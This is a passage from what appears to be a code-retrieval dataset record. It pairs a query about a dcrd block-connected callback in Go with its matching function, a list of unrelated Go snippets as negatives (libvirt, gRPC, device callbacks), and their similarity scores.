{\n\t\tfor len(k.offlineQueue) > k.queueMaxSize {\n\t\t\teventListener := k.eventListeners[event.OfflineQueuePop]\n\t\t\tfor c := range eventListener {\n\t\t\t\tjson, _ := json.Marshal(k.offlineQueue[0])\n\t\t\t\tc <- json\n\t\t\t}\n\n\t\t\teventListener = k.eventListenersOnce[event.OfflineQueuePop]\n\t\t\tfor c := range eventListener {\n\t\t\t\tjson, _ := json.Marshal(k.offlineQueue[0])\n\t\t\t\tc <- json\n\t\t\t\tdelete(k.eventListenersOnce[event.OfflineQueuePop], c)\n\t\t\t}\n\n\t\t\tk.offlineQueue = k.offlineQueue[1:]\n\t\t}\n\t}\n}", "func init() {\n\tbackendQueue = make(chan *Backend, 10) \t//channel at a size of 10\n\t\t\t\t\t\t//This is a buffered channel.\n\t\t\t\t\t\t//This means that it can hold 10 Backends before it starts to block\n}", "func (mb *MetricsBuilder) RecordActiveDirectoryDsNotificationQueuedDataPoint(ts pcommon.Timestamp, val int64) {\n\tmb.metricActiveDirectoryDsNotificationQueued.recordDataPoint(mb.startTime, ts, val)\n}" ]
[ "0.5877041", "0.56457406", "0.554473", "0.55286443", "0.55269974", "0.5523805", "0.5509261", "0.5444356", "0.5442355", "0.5419388", "0.5393476", "0.53879136", "0.5319574", "0.53174067", "0.5294507", "0.5260795", "0.52532613", "0.5247482", "0.5225851", "0.5207091", "0.51990676", "0.51933765", "0.5178185", "0.51699454", "0.5153249", "0.5147579", "0.51366276", "0.51356035", "0.5126977", "0.5108164", "0.51079607", "0.5106046", "0.50865227", "0.50838053", "0.50547075", "0.50221914", "0.50187296", "0.501418", "0.5004663", "0.50040674", "0.50040287", "0.49988648", "0.49927747", "0.49914145", "0.49761206", "0.49574718", "0.4950341", "0.49484268", "0.49474096", "0.4946617", "0.4932877", "0.49299785", "0.4925417", "0.49248874", "0.49126002", "0.49011496", "0.4895846", "0.4895332", "0.48925248", "0.48907363", "0.48880628", "0.4887838", "0.48859227", "0.48848587", "0.4880306", "0.48790824", "0.48763797", "0.48736086", "0.48591787", "0.48564267", "0.48495665", "0.48475832", "0.48354462", "0.4835417", "0.48337746", "0.48304927", "0.48282772", "0.48138154", "0.4812111", "0.4811547", "0.48104942", "0.48093995", "0.48090032", "0.48035124", "0.4799834", "0.47943032", "0.47925726", "0.47883648", "0.47836304", "0.47834587", "0.477737", "0.47718552", "0.47704175", "0.4768696", "0.4764343", "0.47619638", "0.4760146", "0.47598138", "0.4756003", "0.4755174" ]
0.74948037
0
A callback to be registered with dcrd. It is critical that no RPC calls are made from this method. Doing so will likely result in a deadlock, as per
func (dcr *DCRBackend) onBlockConnected(serializedHeader []byte, _ [][]byte) { blockHeader := new(wire.BlockHeader) err := blockHeader.FromBytes(serializedHeader) if err != nil { dcr.log.Errorf("error decoding serialized header: %v", err) return } h := blockHeader.BlockHash() dcr.anyQ <- &h }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func RVExtensionRegisterCallback(cbptr unsafe.Pointer) {\n\tcb = C.callbackProc(cbptr)\n\n\tlog.Println(\"Calling callback function ……\")\n\tfunction := C.CString(\"registered\")\n\tdefer C.free(unsafe.Pointer(function))\n\tC.bridge_cb(cb, name, function, function)\n}", "func registeredCB(\n ptr unsafe.Pointer,\n frameworkMessage *C.ProtobufObj,\n masterMessage *C.ProtobufObj) {\n if (ptr != nil) {\n var driver *SchedulerDriver = (*SchedulerDriver)(ptr)\n\n if (driver.Scheduler.Registered == nil) {\n return\n }\n\n frameworkData := C.GoBytes(\n frameworkMessage.data,\n C.int(frameworkMessage.size))\n\n var frameworkId FrameworkID\n err := proto.Unmarshal(frameworkData, &frameworkId); if err != nil {\n return\n }\n\n masterData := C.GoBytes(masterMessage.data, C.int(masterMessage.size))\n var masterInfo MasterInfo\n err = proto.Unmarshal(masterData, &masterInfo); if err != nil {\n return\n }\n\n driver.Scheduler.Registered(driver, frameworkId, masterInfo)\n }\n}", "func registerServiceCallbackFunc(op *dnssd.RegisterOp, err error, add bool, name, serviceType, domain string) {\n\tif err != nil {\n\t\tlog.Printf(\"registerServiceCallbackFunc error: %s\", err)\n\t\tlog.Printf(\"registerServiceCallbackFunc name:\", name)\n\t}\n}", "func (self *GateServer) RegisterSelfCallRpc(handlerFunc gorpc.HandlerFunc) {\n\tif self.IsRunning() {\n\t\tllog.Fatal(\"RegisterSelfNet error, igo has already started\")\n\t\treturn\n\t}\n\tfuncName := lutil.RpcFuncName(handlerFunc)\n\t//fmt.Println(\"funcName\", funcName)\n\tself.Register(funcName, handlerFunc)\n\thandlerMap[funcName] = \"GateServer\"\n\tThis.rpcMap[funcName] = \"GateServer\"\n}", "func (w *Watcher) Register(cb func(bts []byte)) {\n\tw.writeCallback = cb\n}", "func (srv *IOServerInstance) NotifyDrpcReady(msg *srvpb.NotifyReadyReq) {\n\tsrv.log.Debugf(\"%s instance %d drpc ready: %v\", DataPlaneName, srv.Index(), msg)\n\n\t// Activate the dRPC client connection to this iosrv\n\tsrv.setDrpcClient(drpc.NewClientConnection(msg.DrpcListenerSock))\n\n\tgo func() {\n\t\tsrv.drpcReady <- msg\n\t}()\n}", "func (l *Libvirt) ConnectUnregisterCloseCallback() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(361, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func registerCallback(cbArg *callbackArg) uintptr {\n\tcallbacksLock.Lock()\n\tdefer callbacksLock.Unlock()\n\tcbArg.id = nextCallbackID\n\tnextCallbackID++\n\tif _, ok := callbacks[cbArg.id]; ok {\n\t\tpanic(fmt.Sprintf(\"Callback ID %d already in use\", cbArg.id))\n\t}\n\tcallbacks[cbArg.id] = cbArg\n\treturn cbArg.id\n}", "func (l *Libvirt) ConnectRegisterCloseCallback() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(360, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (device *IndustrialDigitalIn4V2Bricklet) RegisterValueCallback(fn func(Channel, bool, bool)) uint64 {\n\twrapper := func(byteSlice []byte) {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(byteSlice)\n\t\tif header.Length != 11 {\n\t\t\treturn\n\t\t}\n\t\tbuf := bytes.NewBuffer(byteSlice[8:])\n\t\tvar channel Channel\n\t\tvar changed bool\n\t\tvar value bool\n\t\tbinary.Read(buf, binary.LittleEndian, &channel)\n\t\tbinary.Read(buf, binary.LittleEndian, &changed)\n\t\tbinary.Read(buf, binary.LittleEndian, &value)\n\t\tfn(channel, changed, value)\n\t}\n\treturn device.device.RegisterCallback(uint8(FunctionCallbackValue), wrapper)\n}", "func callback() {\n\tlog.Println(\"shutdown requested\")\n}", "func (c *clientRegistry) Register(ctx *FContext, callback FAsyncCallback) error {\n\topID := ctx.opID()\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\t_, ok := c.handlers[opID]\n\tif ok {\n\t\treturn errors.New(\"frugal: context already registered\")\n\t}\n\topID = atomic.AddUint64(&nextOpID, 1)\n\tctx.setOpID(opID)\n\tc.handlers[opID] = callback\n\treturn nil\n}", "func (self *Mediator) OnRegister() {\n\n}", "func (m *Mgr) Register(ledgerid string, l ChaincodeLifecycleEventListener) {\n\t// write lock to synchronize concurrent 'chaincode install' operations with ledger creation/open\n\tm.rwlock.Lock()\n\tdefer m.rwlock.Unlock()\n\tm.ccLifecycleListeners[ledgerid] = append(m.ccLifecycleListeners[ledgerid], l)\n}", "func callback(\n\tservice models.DeviceService,\n\tid string,\n\taction string,\n\tactionType models.ActionType,\n\tlc logger.LoggingClient) error {\n\n\tclient := &http.Client{}\n\turl := service.Addressable.GetCallbackURL()\n\tif len(url) > 0 {\n\t\tbody, err := getBody(id, actionType)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq, err := http.NewRequest(string(action), url, bytes.NewReader(body))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq.Header.Add(clients.ContentType, clients.ContentTypeJSON)\n\n\t\tgo makeRequest(client, req, lc)\n\t} else {\n\t\tlc.Info(\"callback::no addressable for \" + service.Name)\n\t}\n\treturn nil\n}", "func (ctrler CtrlDefReactor) OnDistributedServiceCardReconnect() {\n\tlog.Info(\"OnDistributedServiceCardReconnect is not implemented\")\n\treturn\n}", "func (l *Libvirt) ConnectDomainEventDeregister() (rCbRegistered int32, err error) {\n\tvar buf []byte\n\n\tvar r response\n\tr, err = l.requestStream(106, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Return value unmarshaling\n\ttpd := typedParamDecoder{}\n\tct := map[string]xdr.TypeDecoder{\"libvirt.TypedParam\": tpd}\n\trdr := bytes.NewReader(r.Payload)\n\tdec := xdr.NewDecoderCustomTypes(rdr, 0, ct)\n\t// CbRegistered: int32\n\t_, err = dec.Decode(&rCbRegistered)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (l *Libvirt) DomainEventCallbackDeviceAdded() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(354, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (l *Libvirt) DomainEventCallbackWatchdog() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(321, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (l *Libvirt) ConnectDomainEventRegister() (rCbRegistered int32, err error) {\n\tvar buf []byte\n\n\tvar r response\n\tr, err = l.requestStream(105, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Return value unmarshaling\n\ttpd := typedParamDecoder{}\n\tct := map[string]xdr.TypeDecoder{\"libvirt.TypedParam\": tpd}\n\trdr := bytes.NewReader(r.Payload)\n\tdec := xdr.NewDecoderCustomTypes(rdr, 0, ct)\n\t// CbRegistered: int32\n\t_, err = dec.Decode(&rCbRegistered)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (b *Broker) HandleRegister(c *client, msg *cellaserv.Register) {\n\tname := msg.Name\n\tident := msg.Identification\n\n\tc.mtx.Lock()\n\tdefer c.mtx.Unlock()\n\n\tb.servicesMtx.Lock()\n\tdefer b.servicesMtx.Unlock()\n\n\tif _, ok := b.services[name]; !ok {\n\t\tb.services[name] = make(map[string]*service)\n\t}\n\n\tregisteredService := newService(c, name, ident)\n\n\tb.logger.Infof(\"New service: %s\", registeredService)\n\n\t// Check for duplicate services\n\tif s, ok := b.services[name][ident]; ok {\n\t\ts.logger.Warnf(\"Service is replaced.\")\n\n\t\tpubJSON, _ := json.Marshal(s.JSONStruct())\n\t\tb.cellaservPublishBytes(logLostService, pubJSON)\n\n\t\tservice_client := s.client\n\n\t\tfor i, ss := range service_client.services {\n\t\t\tif ss.Name == name && ss.Identification == ident {\n\t\t\t\t// Remove from slice\n\t\t\t\tservice_client.services[i] = service_client.services[len(service_client.services)-1]\n\t\t\t\tservice_client.services = service_client.services[:len(service_client.services)-1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Sanity checks\n\t\tif ident == \"\" {\n\t\t\tif len(b.services[name]) >= 1 {\n\t\t\t\tb.logger.Warn(\"New service has no identification but there is already a service with an identification.\")\n\t\t\t}\n\t\t} else {\n\t\t\tif _, ok = b.services[name][\"\"]; ok {\n\t\t\t\tb.logger.Warn(\"New service has an identification but there is already a service without an identification\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// This makes all requests go to the new service\n\tb.services[name][ident] = registeredService\n\n\t// Keep track of origin client in order to remove it when the connection is closed\n\tc.services = append(c.services, registeredService)\n\n\t// Special case for the internal cellaserv service.\n\tif name == \"cellaserv\" {\n\t\tclose(b.startedWithCellaserv)\n\t}\n\n\t// Publish new service event\n\tpubJSON, _ := json.Marshal(registeredService.JSONStruct())\n\tb.cellaservPublishBytes(logNewService, pubJSON)\n}", "func (l *Libvirt) ConnectDomainEventCallbackDeregisterAny(CallbackID int32) (err error) {\n\tvar buf []byte\n\n\targs := ConnectDomainEventCallbackDeregisterAnyArgs {\n\t\tCallbackID: CallbackID,\n\t}\n\n\tbuf, err = encode(&args)\n\tif err != nil {\n\t\treturn\n\t}\n\n\n\t_, err = l.requestStream(317, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (client *Client) ServiceStatusWithCallback(request *ServiceStatusRequest, callback func(response *ServiceStatusResponse, err error)) (<-chan int) {\nresult := make(chan int, 1)\nerr := client.AddAsyncTask(func() {\nvar response *ServiceStatusResponse\nvar err error\ndefer close(result)\nresponse, err = client.ServiceStatus(request)\ncallback(response, err)\nresult <- 1\n})\nif err != nil {\ndefer close(result)\ncallback(nil, err)\nresult <- 0\n}\nreturn result\n}", "func (device *LaserRangeFinderBricklet) RegisterDistanceCallback(fn func(uint16)) uint64 {\n\twrapper := func(byteSlice []byte) {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(byteSlice)\n\t\tif header.Length != 10 {\n\t\t\treturn\n\t\t}\n\t\tbuf := bytes.NewBuffer(byteSlice[8:])\n\t\tvar distance uint16\n\t\tbinary.Read(buf, binary.LittleEndian, &distance)\n\t\tfn(distance)\n\t}\n\treturn device.device.RegisterCallback(uint8(FunctionCallbackDistance), wrapper)\n}", "func (r *CRDRegistry) RegisterCRDs() error {\n\tfor _, crd := range crds {\n\t\t// create the CustomResourceDefinition in the api\n\t\tif err := r.createCRD(crd); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// wait for the CustomResourceDefinition to be established\n\t\tif err := r.awaitCRD(crd, watchTimeout); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (srv *IOServerInstance) CallDrpc(module, method int32, body proto.Message) (*drpc.Response, error) {\n\tdc, err := srv.getDrpcClient()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn makeDrpcCall(dc, module, method, body)\n}", "func (*listener) OnDisconnect() {}", "func (*listener) OnConnect() {}", "func (noopMeter) RegisterCallback([]instrument.Asynchronous, func(context.Context)) error {\n\treturn nil\n}", "func (c *Client) Register(idx int) {\n\tvar id int\n\terr := c.rpcServers[idx].Call(\"Server.Register\", c.myServer, &id)\n\tif err != nil {\n\t\tlog.Fatal(\"Couldn't register: \", err)\n\t}\n\tc.id = id\n}", "func (device *LaserRangeFinderBricklet) RegisterDistanceReachedCallback(fn func(uint16)) uint64 {\n\twrapper := func(byteSlice []byte) {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(byteSlice)\n\t\tif header.Length != 10 {\n\t\t\treturn\n\t\t}\n\t\tbuf := bytes.NewBuffer(byteSlice[8:])\n\t\tvar distance uint16\n\t\tbinary.Read(buf, binary.LittleEndian, &distance)\n\t\tfn(distance)\n\t}\n\treturn device.device.RegisterCallback(uint8(FunctionCallbackDistanceReached), wrapper)\n}", "func (r *RabbitMq) registerCallback() {\r\n\tr.RabbitMqChannel.QueueDeclare(\r\n\t\t\"callback-mq-producer\",\r\n\t\ttrue,\r\n\t\tfalse,\r\n\t\tfalse,\r\n\t\tfalse,\r\n\t\tnil,\r\n\t)\r\n\tr.StartConsumeCallback()\r\n\tlog.Println(\"Create Queue callback\")\r\n}", "func (ctrler CtrlDefReactor) OnDistributedServiceCardCreate(obj *DistributedServiceCard) error {\n\tlog.Info(\"OnDistributedServiceCardCreate is not implemented\")\n\treturn nil\n}", "func (locator *ServiceLocatorImpl) InstallEndCallBack(f func(Worker)) {\n\tlocator.endCallBack = append(locator.endCallBack, f)\n}", "func (self *GateServer) RegisterSelfRpc(handlerFunc gorpc.HandlerNetFunc) {\n\tif self.IsRunning() {\n\t\tllog.Fatal(\"RegisterSelfNet error, igo has already started\")\n\t\treturn\n\t}\n\tfuncName := lutil.RpcFuncName(handlerFunc)\n\thandlerMap[funcName] = \"GateServer\"\n\tThis.rpcMap[funcName] = \"GateServer\"\n\tself.RegisterGate(funcName, handlerFunc)\n}", "func DialS(iPort int,cbR cbRead,cbD cbDiscon)(bool,string){\n if iPort <= 0 {\n return false,\"server port is invalued!!\"\n }\n if nil == cbR || nil == cbD{\n return false ,\"server callback func is nil!!\"\n }\n l,err := net.Listen(\"tcp\",fmt.Sprintf(\"%s:%d\",\"127.0.0.1\",iPort))\n if nil != err{\n L.W(fmt.Sprintf(\"start listen:port[%d],err:%s\",iPort,err),L.Level_Error)\n return false,\"start listen err!!\"\n }\n go handleAccp(cbR,cbD,l,iPort)\n return true,\"\"\n}", "func (gs *GRPCClient) AfterInit() {}", "func (t *Server) RegisterRPCFunc(uri string, f RPCHandler) {\n\tif f != nil {\n\t\tt.rpcHandlers[uri] = f\n\t}\n}", "func SyncCallback(e *sync.SyncEvent) error {\n\tvar id string\n\tvar e2 sync.SyncEvent\n\n\t// Change notifications must usually be routed depending on the type of change.\n\t// This is done by using Field (to go down a struct) and Value (to access a map) methods.\n\t// Those functions can be chained. Checking for error later will tell if\n\t// any of the steps failed.\n\tif e2 = e.Field(\"Nodes\").Value(&id); e2.Error() == nil {\n\t\t// Here we know the change is a Node object in the Nodes map.\n\t\t// The key is stored in 'id'.\n\n\t\t// Current gets us the Node object\n\t\tc, _ := e2.Current()\n\n\t\tfmt.Printf(\"Modified Node with key %s: %v\\n\", id, c)\n\n\t} else if e2 = e.Field(\"Edges\").Value(&id); e2.Error() == nil {\n\t\t// Here we know the change is an Edge object in the Nodes map.\n\t\t// The key is stored in 'id'.\n\n\t\t// Current gets us the Node object\n\t\tc, _ := e2.Current()\n\n\t\t// Note that, since the Edge object is stored as 2 different keys,\n\t\t// The callback will be called twice.\n\n\t\tfmt.Printf(\"Modified Edge with key %s: %v\\n\", id, c)\n\n\t} else if b, err := e.Field(\"QuitDemo\").Bool(); err == nil {\n\n\t\t// Since QuitDemo is a boolean, we can use Bool() method to get the value\n\t\t// directly.\n\t\tstopTimeWheel = b\n\n\t}\n\treturn nil\n}", "func (node *DataNode) Init() error {\n\tctx := context.Background()\n\n\treq := &datapb.RegisterNodeRequest{\n\t\tBase: &commonpb.MsgBase{\n\t\t\tSourceID: node.NodeID,\n\t\t},\n\t\tAddress: &commonpb.Address{\n\t\t\tIp: Params.IP,\n\t\t\tPort: int64(Params.Port),\n\t\t},\n\t}\n\n\tresp, err := node.dataService.RegisterNode(ctx, req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Register node failed: %v\", err)\n\t}\n\tif resp.Status.ErrorCode != commonpb.ErrorCode_Success {\n\t\treturn fmt.Errorf(\"Receive error when registering data node, msg: %s\", resp.Status.Reason)\n\t}\n\n\tselect {\n\tcase <-time.After(RPCConnectionTimeout):\n\t\treturn errors.New(\"Get DmChannels failed in 30 seconds\")\n\tcase <-node.watchDm:\n\t\tlog.Debug(\"insert channel names set\")\n\t}\n\n\tfor _, kv := range resp.InitParams.StartParams {\n\t\tswitch kv.Key {\n\t\tcase \"DDChannelName\":\n\t\t\tParams.DDChannelNames = []string{kv.Value}\n\t\tcase \"SegmentStatisticsChannelName\":\n\t\t\tParams.SegmentStatisticsChannelName = kv.Value\n\t\tcase \"TimeTickChannelName\":\n\t\t\tParams.TimeTickChannelName = kv.Value\n\t\tcase \"CompleteFlushChannelName\":\n\t\t\tParams.CompleteFlushChannelName = kv.Value\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"Invalid key: %v\", kv.Key)\n\t\t}\n\t}\n\n\treplica := newReplica()\n\n\tvar alloc allocatorInterface = newAllocator(node.masterService)\n\n\tchanSize := 100\n\tflushChan := make(chan *flushMsg, chanSize)\n\tnode.flushChan = flushChan\n\tnode.dataSyncService = newDataSyncService(node.ctx, flushChan, replica, alloc, node.msFactory)\n\tnode.dataSyncService.init()\n\tnode.metaService = newMetaService(node.ctx, replica, node.masterService)\n\tnode.replica = replica\n\n\treturn nil\n}", "func (ctrler CtrlDefReactor) OnDistributedServiceCardUpdate(oldObj *DistributedServiceCard, newObj *cluster.DistributedServiceCard) error {\n\tlog.Info(\"OnDistributedServiceCardUpdate is not implemented\")\n\treturn nil\n}", "func InvokeCallback(ctx *context.T, name string) {\n\tconfig, err := exec.ReadConfigFromOSEnv()\n\tif err != nil || config == nil {\n\t\treturn\n\t}\n\t// Device manager was started by self-update, notify the parent.\n\tcallbackName, err := config.Get(mgmt.ParentNameConfigKey)\n\tif err != nil {\n\t\t// Device manager was not started by self-update, return silently.\n\t\treturn\n\t}\n\tclient := device.ConfigClient(callbackName)\n\tctx, cancel := context.WithTimeout(ctx, rpcContextTimeout)\n\tdefer cancel()\n\tif err := client.Set(ctx, mgmt.ChildNameConfigKey, name); err != nil {\n\t\tctx.Fatalf(\"Set(%v, %v) failed: %v\", mgmt.ChildNameConfigKey, name, err)\n\t}\n}", "func (ovs *OvsdbClient) Register(handler NotificationHandler) {\n\tovs.handlersMutex.Lock()\n\tdefer ovs.handlersMutex.Unlock()\n\tovs.handlers = append(ovs.handlers, handler)\n}", "func (l *Libvirt) DomainEventCallbackReboot() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(319, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (self *SinglePad) OnDisconnectCallback() interface{}{\n return self.Object.Get(\"onDisconnectCallback\")\n}", "func (m *RdmaDevPlugin) register() error {\n\tkubeletEndpoint := filepath.Join(deprecatedSockDir, kubeEndPoint)\n\tconn, err := dial(kubeletEndpoint, 5*time.Second)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\tclient := pluginapi.NewRegistrationClient(conn)\n\treqt := &pluginapi.RegisterRequest{\n\t\tVersion: pluginapi.Version,\n\t\tEndpoint: m.socketName,\n\t\tResourceName: m.resourceName,\n\t}\n\n\t_, err = client.Register(context.Background(), reqt)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (srv *IOServerInstance) awaitDrpcReady() chan *srvpb.NotifyReadyReq {\n\treturn srv.drpcReady\n}", "func Register(cb func(string)) {\n\tcallbacks = append(callbacks, cb)\n}", "func (s *serverRegistry) Register(*FContext, FAsyncCallback) error {\n\treturn nil\n}", "func (locator *ServiceLocatorImpl) InstallBeginCallBack(f func(Worker)) {\n\tlocator.beginCallBack = append(locator.beginCallBack, f)\n}", "func (r *ClearNet) Dial(network, address string) (net.Conn, error) {\n fmt.Println(\"dialing beeep boop\", network, address)\n\n\n\n // fmt.Println(\"writing\", b)\n\n done := make(chan int)\n\n callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {\n fmt.Println(\"finished dialing stuff\")\n // callback.Release() // free up memory from callback\n done <- args[0].Int()\n return nil\n })\n\n // func printMessage(this js.Value, args []js.Value) interface{} {\n // message := args[0].String()\n // fmt.Println(message)\n // \n // return nil\n // }\n defer callback.Release()\n \n rawHost, rawPort, _ := net.SplitHostPort(address)\n\n\n js.Global().Get(\"dialSocket\").Invoke(rawHost, rawPort, callback)\n\n // wait until we've got our response\n id := <-done\n\n // TODO: error if id < 0\n\n // return net.Dial(network, address)\n return &Conn{\n id: id,\n }, nil\n}", "func (c *controller) Callback(ctx context.Context, request *web.Request) web.Result {\n\tif resp := c.service.callback(ctx, request); resp != nil {\n\t\treturn resp\n\t}\n\treturn c.responder.NotFound(errors.New(\"broker for callback not found\"))\n}", "func (s *Server) registerMethodCall(id string) <-chan *message.Response {\n\twait := make(chan *message.Response)\n\ts.methodCalls[id] = wait\n\n\treturn wait\n}", "func doRegistration(data []byte) (err error) {\n\t// Register service via PUT request.\n\tendpointRegister = fmt.Sprintf(\"http://localhost:%s/v1/agent/service/register\", port)\n\tr, err := http.NewRequest(\"PUT\", endpointRegister, bytes.NewBufferString(string(data)))\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Printf(\"sending service registration request for %s\\n\", consul.Name)\n\n\tclient = NewClient()\n\t_, err = client.Do(r)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (l *Libvirt) DomainEventCallbackMetadataChange() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(379, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (device *IndustrialDigitalIn4V2Bricklet) DeregisterValueCallback(registrationId uint64) {\n\tdevice.device.DeregisterCallback(uint8(FunctionCallbackValue), registrationId)\n}", "func (client *Client) QueryCustomerAddressListWithCallback(request *QueryCustomerAddressListRequest, callback func(response *QueryCustomerAddressListResponse, err error)) (<-chan int) {\nresult := make(chan int, 1)\nerr := client.AddAsyncTask(func() {\nvar response *QueryCustomerAddressListResponse\nvar err error\ndefer close(result)\nresponse, err = client.QueryCustomerAddressList(request)\ncallback(response, err)\nresult <- 1\n})\nif err != nil {\ndefer close(result)\ncallback(nil, err)\nresult <- 0\n}\nreturn result\n}", "func onEventCallback(e event.Event, ctx interface{}) {\n\tservice := ctx.(*metadataService)\n\tservice.eventChan <- e\n}", "func RegisterCmdbHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterCmdbHandlerClient(ctx, mux, NewCmdbClient(conn))\n}", "func Register(id int, handlerName string) int", "func (rc *RaftClient) ClientRegisterRPC(remoteNode *NodeAddr, request ClientRegisterArgs) (*ClientRegisterReply, error) {\n\treply := new(ClientRegisterReply)\n\terr := rc.doRemoteCall(remoteNode, \"ClientRegisterRequestRPC\", &request, &reply, ClientRPCTimeout)\n\tif err != nil {\n\t\treturn nil, err\n\t} else {\n\t\treturn reply, nil\n\t}\n}", "func (mgr *WatcherManager) runCrdWatcher(obj *apiextensionsV1beta1.CustomResourceDefinition) {\n\tgroupVersion := obj.Spec.Group + \"/\" + obj.Spec.Version\n\tcrdName := obj.Name\n\n\tcrdClient, ok := resources.CrdClientList[groupVersion]\n\n\tif !ok {\n\t\tcrdClient, ok = resources.CrdClientList[crdName]\n\t}\n\n\tif ok {\n\t\tvar runtimeObject k8sruntime.Object\n\t\tvar namespaced bool\n\t\tif obj.Spec.Scope == \"Cluster\" {\n\t\t\tnamespaced = false\n\t\t} else if obj.Spec.Scope == \"Namespaced\" {\n\t\t\tnamespaced = true\n\t\t}\n\n\t\t// init and run writer handler\n\t\taction := action.NewStorageAction(mgr.clusterID, obj.Spec.Names.Kind, mgr.storageService)\n\t\tmgr.writer.Handlers[obj.Spec.Names.Kind] = output.NewHandler(mgr.clusterID, obj.Spec.Names.Kind, action)\n\t\tstopChan := make(chan struct{})\n\t\tmgr.writer.Handlers[obj.Spec.Names.Kind].Run(stopChan)\n\n\t\t// init and run watcher\n\t\twatcher := NewWatcher(&crdClient, mgr.watchResource.Namespace, obj.Spec.Names.Kind, obj.Spec.Names.Plural, runtimeObject, mgr.writer, mgr.watchers, namespaced) // nolint\n\t\twatcher.stopChan = stopChan\n\t\tmgr.crdWatchers[obj.Spec.Names.Kind] = watcher\n\t\tglog.Infof(\"watcher manager, start list-watcher[%+v]\", obj.Spec.Names.Kind)\n\t\tgo watcher.Run(watcher.stopChan)\n\t}\n}", "func (c *mockMediatorClient) Register(connectionID string) error {\n\tif c.RegisterErr != nil {\n\t\treturn c.RegisterErr\n\t}\n\n\treturn nil\n}", "func (c *SQLiteConn) RegisterPreUpdateHook(callback func(SQLitePreUpdateData)) {\n\t// NOOP\n}", "func DialC(iPort int,szHost string,cbR cbRead,cbD cbDiscon)(int,bool,string) {\n if iPort <= 0 || iPort >= 65535{\n return -1,false,\"port is invalued!\"\n }\n if szHost==\"\"{\n return -1,false,\"host is invalued!\"\n }\n if nil == cbR || nil == cbD{\n return -1,false,\"callback function is invalued!!\"\n }\n conn,err := net.Dial(\"tcp\",fmt.Sprintf(\"%s:%d\",szHost,iPort))\n if nil != err{\n L.W(fmt.Sprintf(\"connect to %s:%d fail,err:\",szHost,iPort,err),L.Level_Error)\n return -1,false,fmt.Sprintf(\"%s\",err)\n }\n iId := getNewID()\n if iId == -1{\n conn.Close()\n return -1,false,\"socket id use up!!\"\n }\n if !updateConInfo(iId,iPort,szHost,conn,cbD,false,true){\n conn.Close()\n return -1,false,\"socket id exsist!!\"\n }\n go conRead(cbR,iId,conn,false)\n return iId,true,\"start client suc!!\"\n}", "func (l *Libvirt) DomainEventCallbackGraphics() (err error) {\n\tvar buf []byte\n\n\n\t_, err = l.requestStream(323, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (e *Extension) Registered(extensionName string, client *bayeux.BayeuxClient) {\n}", "func RegisterListener(rc RequiredCode, dtl *ContractDetail) {\n\n\trq = rc\n\tdetail = dtl\n\tlis, err := net.Listen(\"tcp\", contractPort)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to listen: %v\", err)\n\t}\n\ts := grpc.NewServer()\n\tpb.RegisterContractServer(s, &server{})\n\tif err := s.Serve(lis); err != nil {\n\t\tlog.Fatalf(\"failed to serve: %v\", err)\n\t}\n}", "func (self *SinglePad) OnConnectCallback() interface{}{\n return self.Object.Get(\"onConnectCallback\")\n}", "func (d *Dispatcher) Register(network, channel, event string, handler Handler) uint64 {\n\tif event == irc.RAW {\n\t\tevent = \"\"\n\t}\n\td.trieMut.Lock()\n\tid := d.trie.register(network, channel, event, handler)\n\td.trieMut.Unlock()\n\n\treturn id\n}", "func (b *OGame) RegisterAuctioneerCallback(fn func(packet any)) {\n\tb.auctioneerCallbacks = append(b.auctioneerCallbacks, fn)\n}", "func (c *JSONRPCSignalClient) OnTrickle(cb func(target int, trickle *webrtc.ICECandidateInit)) {\n\tc.onTrickle = cb\n}", "func onEventCallback(e event.Event, ctx interface{}) 